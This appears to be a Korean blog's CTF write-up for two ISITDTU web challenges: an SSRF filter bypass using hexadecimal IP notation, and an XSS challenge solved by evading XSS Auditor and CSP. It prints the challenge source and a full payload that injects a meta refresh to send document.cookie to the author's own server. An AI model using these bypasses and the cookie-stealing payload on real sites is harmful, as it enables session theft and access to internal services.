해당 대회는 참여를 못해서 대회 끝나고 웹 문제가 열려있길래 풀어봤다.
Rosé Garden
문제에 들어가보면 아래와 같이 SSRF로 보이는 기능하나가 보인다. 근데 이 기능만 가지고 뭐 터트려보려고 하면 아무것도 안된다. 여기서 좀 헤매다 robots.txt 보니까 소스가 있길래 다운받아보니 아래와 같았다.
app.py
#!/usr/bin/env python
from flask import Flask, render_template, request, send_from_directory, abort
from concurrent.futures import ThreadPoolExecutor
from urllib.parse import urlparse
from socket import inet_aton
import requests
import asyncio
app = Flask(__name__)
app.jinja_env.lstrip_blocks = True
app.jinja_env.trim_blocks = True
async def check_func(hostname, port):
try:
if len(hostname.split('.')) != 4: 0/0
if '127.' in hostname or '.0.' in hostname or '.1' in hostname: 0/0
if inet_aton(hostname) != b'\x7f\x00\x00\x01': 0/0
if not port: port = 80
result = []
with ThreadPoolExecutor(max_workers=3) as executor:
loop = asyncio.get_event_loop()
tasks = [
loop.run_in_executor(
executor,
lambda u: requests.get(u, allow_redirects=False, timeout=2),
url
) for url in [f'http://{hostname}:{port}', 'http://127.0.0.1:3333']
]
for res in await asyncio.gather(*tasks):
result.append(res.text)
except:
return False
return result[1] if result[0] == result[1] else False
@app.route('/<path:path>')
def send_static(path):
return send_from_directory('static', path)
@app.route('/')
def index():
return render_template('index.html')
@app.route('/request', methods=['GET', 'POST'])
def request_page():
if 'url' in request.form and request.form['url']:
url = request.form['url']
if url[:7] != 'http://':
url = 'http://' + url
host_info = urlparse(url)._hostinfo
asyncio.set_event_loop(asyncio.new_event_loop())
loop = asyncio.get_event_loop()
FLAG = loop.run_until_complete( asyncio.ensure_future( check_func(*host_info) ) )
if FLAG:
return render_template('request.html', flag=FLAG)
else:
return render_template('request.html', error=True)
return render_template('request.html')
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80, debug=False)
def check_func 함수 내부의 필터링 로직이 존재한다.
127.0.0.1:3333에 접근해야 하는데 아래 코드로 인해 필터링을 당하고있다.
if '127.' in hostname or '.0.' in hostname or '.1' in hostname: 0/0
if inet_aton(hostname) != b'\x7f\x00\x00\x01': 0/0
ip를 10진수대신 16진수로 대체해주면 해당 필터가 우회된다.
payload = http://0x7f.0x0.0x0.0x1:3333
Flag = ISITDTU{warmup task is not that hard}
XSS Game 1
문제에 들어가보면 간단한 Reflectd XSS가 터지는 기능이 하나 나온다.
취약점이 터지는 코드는 아래와 같다.
/*** We prevent change the location ***:
<script>Object.freeze(location);</script>input<br><script>location='http://input';</script>
input이 두 군데 지점에 들어가고 Object.freeze로 location 객체를 통한 redirect를 필터링하고 있다.
필터 당하는 문자열을 보면 `,' 이거 두가지 정도라 그냥 XSS 터트리면 될 것 같은데 Chrome XSS Auditor랑 CSP가 적용되어 있다.
최종적으로 해야할건 Chrome XSS Auditor Bypass + CSP Bypass + locaion filter Bypass 정도였다.
먼저 XSS auditor는 `가 필터링되고 있지만 인풋이 개행없이 하나의 라인 2군데 지점에 들어가서 "를 통해 우회해줬다.
";alert(1);//<script>
그다음 CSP와 같은 경우는 아래와 같이 세팅되어 있었다.
default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval';sandbox allow-scripts allow-same-origin
기본적인 resource load 정책이 다 self로 되어있었고 sandbox 정책까지 적용되어 있었다. 여기다 location까지 필터당하고 있어서 위 두가지에 필터안되는 구문을 찾아야했다.
location 외에 redirection을 만드는 html 구문 몇개를 테스트 해보니 csp에 안걸리는 구문을 찾을수 있었다.
window.open <- filter (csp allow-popups)
form action <- filter (csp allow-forms)
a tag href <- filter bypass
meta tag refresh <- filter bypass
payload = http://165.22.52.11/XSSGAME1/?pl=";a=document.createElement("meta");a.httpEquiv="refresh";a.content="0;url=http://my_server/?"%2bdocument.cookie;document.body.appendChild(a);//<script>"
Flag = ISITDTU{0274fdcad72fb003e36bb77d9ef2279b3eb3f519}
'CTF > Writeup' 카테고리의 다른 글
DEF CON CTF Qualifier 2019 vitor (0) | 2019.07.15 |
---|---|
DEF CON CTF Qualifier 2019 veryandroidso (0) | 2019.07.10 |
Google CTF 2019 Quals bnv (0) | 2019.06.24 |
Security Fest 2019 CTF Darkwebmessageboard (0) | 2019.05.24 |
DEF CON CTF Qualifier 2019 cant_even_unplug_it (0) | 2019.05.13 |